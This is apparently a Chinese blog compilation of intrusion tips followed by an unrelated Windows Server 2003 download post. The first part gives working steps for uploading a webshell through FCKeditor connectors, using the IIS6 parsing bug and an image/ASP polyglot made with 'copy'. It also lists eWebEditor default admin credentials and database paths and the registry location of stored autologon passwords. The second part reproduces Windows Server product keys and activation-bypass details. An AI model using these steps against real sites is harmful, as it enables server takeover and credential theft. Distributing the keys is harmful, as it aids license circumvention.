Fckeditor上传webshell

Fckeditor目录结构

fckeditor\editor\filemanager\browser\default\browser.html

fckeditor\editor\filemanager\connectors\asp\connector.asp

老版本利用

http://www.site.com/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=../../connectors/aspx/connector.aspx

Type=all后可以直接传webshell

较新版本

http://www.site.com/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp

Type=Image(这里区分大小写)，然后结合IIS6后缀解析BUG传webshell

由于要验证图片文件类型，要能预览出的图片，所以要用copy把文件加到一起

copy s.gif /b + 1.asp /a 2.jpg

还可以尝试建\1.asp\这样的文件夹

上传目录:

上传目录在fckeditor\editor\filemanager\connectors\asp\config.asp里面配置

一般可以在站点根目录下的\userfiles里面找找。

eWebEditor相关

默认登陆页面

/eWebEditor/admin_login.asp

默认密码

admin:admin

默认数据库路径

/eWebEditor/db/eWebEditor.mdb

用WMIC在命令行获取进程文件路径

wmic process list full | find "Path"

还有其他很多命令...

wmic很强大，但是会用的人不多。

注册表获取Windows自动登陆用户名密码

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON

DefaultuserName=自动登陆的帐户
Defaultpassword=密码

里面还保存了其他很多和登陆有关的信息。

nslookup渗透中的一些用途

无法查看这则摘要。请 点击此处查看博文。

Windows Server 2003 R2 with SP2 英文版合集(8IN1)

下载地址:

http://soft.zt169.com/Software/Catalog152/6839.html

这个ISO不错，8合1，很强大，相关的key说明文件也很详细。

我本来把Key说明文件记录到了TXT准备添加到ISO里面刻盘的，结果发现添加进去后生成的新ISO居然有5G多......我估计他做这个ISO的时候，用了啥牛B东西，重复文件只保留一份，很好很强大。

为了防止以后安装的时候找不到key，所以我把key记到这.....

下面内容转自zt169.com

说明：

1.系由官方集成SP2的母盘改制，与手动集成SP2相比，少量文件有出入，官方集成应更为可靠

2.序列号

ENT SP2 OEM: TPPJH-FG9MV-KQPXW-HVHKJ-6G728 (dell hp ibm通用)

STD SP2 OEM: KM63V-GW6H6-WY4BP-HMCK4-G7CKJ (dell hp ibm通用)

R2 ENT OEM: 缺

R2 STD OEM: G7P8D-4XR7R-2XR3W-6JQPW-FVG6W (dell hp ibm通用)

VLP(VOL): VMVGV-Q3697-CQ872-D3YBJ-4Y6BB (ent std通用)

R2 VLP(VOL): GXJ7R-PDJKW-7TMRK-VT6JC-G4XWG (ent std通用)

3.各OEM版都可以免激活，SLP如下

dell: Dell System

hp: Hewlett-Packard

ibm: IBM CORPORATION

4.R2属于可选，如用R2序列号安装，得到就是Windows Server 2003 R2 with SP2

如用一般序列号安装，得到Windows Server 2003 with SP2

日后仍可手动安装R2部分，届时需要输入R2序列号

5.1cd 700MB已经不够用了，故将R2部分放到了一起，796MB

MD5:

52bfcfeeed508953be1a02bf2cf6d33b EN_WS03SP2.ISO

Windows Server 2003 R2 with SP2 英文版合集

共八个版本

[A] Windows Server 2003 R2 Enterprise Edition with SP2, DELL OEM - English

[B] Windows Server 2003 R2 Enterprise Edition with SP2, HP OEM - English

[C] Windows Server 2003 R2 Enterprise Edition with SP2, IBM OEM - English

[D] Windows Server 2003 R2 Enterprise Edition with SP2, VLP - English

[E] Windows Server 2003 R2 Standard Edition with SP2, DELL OEM - English

[F] Windows Server 2003 R2 Standard Edition with SP2, HP OEM - English

[G] Windows Server 2003 R2 Standard Edition with SP2, IBM OEM - English

[H] Windows Server 2003 R2 Standard Edition with SP2, VLP - English